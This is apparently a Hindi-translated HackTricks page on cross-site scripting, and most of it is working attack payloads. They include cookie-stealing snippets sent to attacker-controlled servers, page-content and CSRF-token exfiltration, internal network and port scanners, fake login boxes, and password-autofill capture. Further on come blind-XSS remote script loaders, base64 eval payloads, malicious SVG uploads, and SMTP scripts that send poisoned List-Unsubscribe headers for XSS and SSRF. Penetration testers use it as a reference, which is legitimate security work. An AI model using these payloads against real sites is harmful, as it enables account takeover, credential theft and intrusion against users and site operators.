゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
XSS सामान्य payloads
एक में कई payloads
Iframe Trap
उपयोगकर्ता को पेज में iframe से बाहर निकले बिना नेविगेट कराएं और उसकी क्रियाओं को चुरा लें (फॉर्म में भेजी गई जानकारी सहित):
Cookies प्राप्त करें
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
Tip
आप cookies को JavaScript से एक्सेस नहीं कर पाएँगे यदि cookie में HTTPOnly flag सेट है। लेकिन यहाँ आपके पास some ways to bypass this protection हैं यदि आप काफी भाग्यशाली हैं।
पेज की सामग्री चुराएँ
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
आंतरिक IPs खोजें
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
छोटे समय port के उत्तर देने का संकेत देते हैं लंबे समय उत्तर न मिलने का संकेत देते हैं।
Chrome में ब्लॉक किए गए ports की सूची here और Firefox में here देखें।
क्रेडेंशियल्स माँगने के लिए बॉक्स
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Auto-fill पासवर्ड कैप्चर
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
जब भी कोई डेटा password field में डाला जाता है, username और password attacker के server पर भेज दिए जाते हैं — भले ही client saved password चुने और कुछ भी टाइप न करे, तब भी credentials ex-filtrated हो जाएंगे।
Hijack form handlers to exfiltrate credentials (const shadowing)
अगर कोई critical handler (e.g., function DoLogin(){...}) पेज में बाद में declare किया गया है, और आपका payload पहले चलता है (e.g., via an inline JS-in-JS sink), तो उसी नाम का एक const पहले define करें ताकि handler को preempt और lock किया जा सके। बाद में की जाने वाली function declarations किसी const नाम को rebind नहीं कर सकतीं, जिससे आपका hook control में रह जाता है:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
नोट्स
- यह निष्पादन क्रम पर निर्भर करता है: आपका injection वैध declaration से पहले execute होना चाहिए।
- यदि आपका payload
eval(...)में लिपटा है, तोconst/letbindings globals नहीं बनेंगे। एक सच्चा global, non-rebindable binding सुनिश्चित करने के लिए सेक्शन “Deliverable payloads with eval(atob()) and scope nuances” में दिए गए dynamic<script>injection technique का उपयोग करें। - जब keyword filters कोड को ब्लॉक करें, तो ऊपर दिखाए अनुसार Unicode-escaped identifiers या
eval(atob('...'))delivery के साथ संयोजन करें।
Keylogger
github में खोजने पर मुझे कुछ अलग-अलग मिले:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- आप metasploit
http_javascript_keyloggerभी उपयोग कर सकते हैं
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
PostMessage संदेशों को चुराना
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
PostMessage-origin script loaders (opener-gated)
यदि कोई पेज postMessage से event.origin को स्टोर करता है और बाद में इसे एक script URL में जोड़ देता है, तो sender लोड किए गए JS के origin को नियंत्रित करता है:
window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});
Exploitation recipe (from CAPIG):
- Gates: केवल तब ट्रिगर होता है जब
window.openerमौजूद हो औरpixel_idallowlisted हो; origin कभी जाँचा नहीं जाता. - Use CSP-allowed origin: लक्ष्य की CSP द्वारा पहले से अनुमति प्राप्त किसी domain पर pivot करें (उदा., logged-out help pages जो analytics की अनुमति देते हैं जैसे
*.THIRD-PARTY.com) और/sdk/<pixel_id>/iwl.jsवहाँ takeover/XSS/upload के माध्यम से होस्ट करें. - Restore
opener: Android WebView में,window.name='x'; window.open(target,'x')पेज को उसका स्वयं का opener बना देता है; hijacked iframe से maliciouspostMessageभेजें. - Trigger: iframe
{msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>}पोस्ट करता है; parent फिर CSP-allowed origin से attackeriwl.jsलोड करता है और चलाता है.
यह origin-less postMessage validation को एक remote script loader primitive में बदल देता है जो CSP को पार कर जाता है अगर आप नीति द्वारा पहले से अनुमति प्राप्त किसी भी origin पर पहुंच सकते हैं।
Supply-chain stored XSS via backend JS concatenation
जब कोई backend shared SDK को JS strings को user-controlled values के साथ जोड़कर बनाता है, कोई भी quote/structure breaker ऐसा script inject कर सकता है जो हर consumer को serve होता है:
- Example pattern (Meta CAPIG): server सीधे
capig-events.jsमेंcbq.config.set("<pixel>","IWLParameters",{params: <user JSON>});जोड़ देता है. 'या"]}inject करने से literal/object बंद हो जाता है और attacker JS जुड़ जाता है, जिससे distributed SDK में हर उस साइट के लिए stored XSS बनता है जो इसे लोड करती है (first-party और third-party).
Abusing Service Workers
Accessing Shadow DOM
Polyglots
Blind XSS payloads
आप यह भी उपयोग कर सकते हैं: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - छिपी सामग्री तक पहुँच
इस this writeup से पता चलता है कि भले ही कुछ values JS से गायब हो जाएँ, फिर भी उन्हें अलग-अलग objects में JS attributes में ढूँढना संभव है। उदाहरण के लिए, REGEX के एक input को उसके input के value हट जाने के बाद भी ढूँढा जा सकता है:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force List
Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
XSS अन्य कमजोरियों का दुरुपयोग
XSS in Markdown
क्या आप ऐसा Markdown code inject कर सकते हैं जो रेंडर होगा? शायद आप XSS पा सकते हैं! देखें:
XSS to SSRF
क्या आपको किसी ऐसी साइट पर XSS मिला है जो caching का उपयोग करती है? Edge Side Include Injection के जरिए इसे SSRF में अपग्रेड करने की कोशिश करें, इस payload के साथ:
<esi:include src="http://yoursite.com/capture" />
Use it to bypass cookie restrictions, XSS filters and much more!
More information about this technique here: XSLT.
डायनामिक रूप से बने PDF में XSS
यदि कोई वेब पेज user controlled input का उपयोग करके PDF बना रहा है, तो आप उस PDF बनाने वाले bot को trick the bot करने की कोशिश कर सकते हैं ताकि वह executing arbitrary JS code कर दे.
So, if the PDF creator bot finds some kind of HTML tags, it is going to interpret them, and you can abuse this behaviour to cause a Server XSS.
यदि आप HTML tags inject नहीं कर पा रहे हैं तो यह कोशिश करने लायक हो सकता है कि आप inject PDF data करें:
Amp4Email में XSS
AMP, जिसका उद्देश्य मोबाइल डिवाइसेज़ पर वेब पेज प्रदर्शन को तेज करना है, HTML tags को JavaScript के साथ जोड़ता है ताकि फ़ंक्शनैलिटी सुनिश्चित हो, खासतौर पर गति और सुरक्षा पर ध्यान देते हुए। यह विभिन्न सुविधाओं के लिए कई components का समर्थन करता है, जिन्हें AMP components के माध्यम से एक्सेस किया जा सकता है।
AMP for Email format विशिष्ट AMP components को ईमेल में विस्तारित करता है, जिससे प्राप्तकर्ता अपने ईमेल के भीतर सीधे कंटेंट के साथ इंटरैक्ट कर सकते हैं।
उदाहरण writeup XSS in Amp4Email in Gmail.
List-Unsubscribe Header दुरुपयोग (Webmail XSS & SSRF)
RFC 2369 का List-Unsubscribe header attacker-controlled URIs को एम्बेड करता है जिन्हें कई webmail और mail clients स्वचालित रूप से “Unsubscribe” buttons में बदल देते हैं। जब ये URIs बिना validation के रेंडर या fetch होते हैं, तो यह header एक injection point बन जाता है — stored XSS के लिए (यदि unsubscribe link DOM में रखा गया है) और SSRF के लिए (यदि server उपयोगकर्ता की ओर से unsubscribe request करता है)।
Stored XSS via javascript: URIs
- अपने आप को एक ईमेल भेजें जहाँ header
javascript:URI की ओर पॉइंट करे, और बाकी संदेश हानिरहित रखें ताकि spam filters इसे drop न कर दें। - सुनिश्चित करें कि UI उस value को render करता है (कई clients इसे “List Info” pane में दिखाते हैं) और जाँचें कि क्या resulting
<a>tag attacker-controlled attributes जैसेhrefयाtargetको inherit करता है। - Trigger execution (उदा., CTRL+click, middle-click, या “open in new tab”) जब link
target="_blank"का उपयोग करता है; browsers प्रदान किया गया JavaScript webmail application के origin में evaluate करेंगे। - Observe the stored-XSS primitive: payload ईमेल के साथ स्थायी रहता है और इसे execute करने के लिए केवल एक click की आवश्यकता होती है।
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
URI में newline byte (%0a) यह दिखाती है कि असामान्य अक्षर भी vulnerable clients जैसे Horde IMP H5 की rendering pipeline में बचकर निकल जाते हैं, जो anchor tag के अंदर string को शाब्दिक रूप से output कर देंगे।
Minimal SMTP PoC जो एक हानिकारक List-Unsubscribe header भेजता है
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessagesmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”
msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
#### सर्वर-साइड अनसब्सक्राइब प्रॉक्सी -> SSRF
कुछ क्लाइंट, जैसे Nextcloud Mail app, अनसब्सक्राइब कार्रवाई को सर्वर-साइड पर proxy करते हैं: बटन पर क्लिक करने से सर्वर को दिया गया URL स्वयं fetch करने का निर्देश मिलता है। यह हेडर को SSRF primitive में बदल देता है, विशेषकर जब प्रशासक `'allow_local_remote_servers' => true` सेट करते हैं (documented in [HackerOne report 2902856](https://hackerone.com/reports/2902856)), जो loopback और RFC1918 ranges की ओर अनुरोध करने की अनुमति देता है।
1. **एक ईमेल तैयार करें** जहाँ `List-Unsubscribe` एक हमलावर-नियंत्रित endpoint को लक्षित करता है (blind SSRF के लिए Burp Collaborator / OAST का उपयोग करें)।
2. **`List-Unsubscribe-Post: List-Unsubscribe=One-Click` रखें** ताकि UI एक एक-क्लिक अनसब्सक्राइब बटन दिखाए।
3. **विश्वास आवश्यकताओं को पूरा करें**: उदाहरण के लिए Nextcloud केवल तब HTTPS अनसब्सक्राइब अनुरोध करता है जब संदेश DKIM पास करता है, इसलिए हमलावर को उस डोमेन का उपयोग करके ईमेल साइन करना होगा जिसे वे नियंत्रित करते हैं।
4. **संदेश को उस मेलबॉक्स तक पहुँचाएँ जिसे लक्षित सर्वर प्रोसेस करता है** और तब तक प्रतीक्षा करें जब तक कोई उपयोगकर्ता अनसब्सक्राइब बटन पर क्लिक न करे।
5. **collaborator endpoint पर सर्वर-साइड callback का निरीक्षण करें**, फिर एक बार primitive की पुष्टि हो जाने पर internal addresses की ओर pivot करें।
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
DKIM-signed List-Unsubscribe संदेश SSRF testing के लिए
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkimsmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”
msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
**परीक्षण नोट्स**
- OAST endpoint का उपयोग करके blind SSRF hits इकट्ठा करें, फिर primitive पुष्टि होने पर `List-Unsubscribe` URL को `http://127.0.0.1:PORT`, metadata services, या अन्य internal hosts को लक्षित करने के लिए अनुकूलित करें।
- क्योंकि unsubscribe helper अक्सर application के उसी HTTP stack को reuse करता है, आप उसके proxy settings, HTTP verbs, और header rewrites inherit करते हैं, जिससे आप [SSRF methodology](../ssrf-server-side-request-forgery/README.md) में वर्णित आगे के traversal tricks कर सकते हैं।
### XSS फ़ाइलें अपलोड करना (svg)
एक इमेज के रूप में निम्नलिखित जैसी फाइल अपलोड करें (from [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
और अधिक SVG payloads पाने के लिए देखें: https://github.com/allanlw/svg-cheatsheet
विविध JS ट्रिक्स और प्रासंगिक जानकारी
Misc JS Tricks & Relevant Info
XSS संसाधन
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
संदर्भ
- Turning a harmless XSS behind a WAF into a realistic phishing vector
- XSS and SSRF via the List-Unsubscribe SMTP Header in Horde Webmail and Nextcloud Mail
- HackerOne Report #2902856 - Nextcloud Mail List-Unsubscribe SSRF
- From “Low-Impact” RXSS to Credential Stealer: A JS-in-JS Walkthrough
- MDN eval()
- CAPIG XSS: postMessage origin trust becomes a script loader + backend JS concatenation enables supply-chain stored XSS
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।


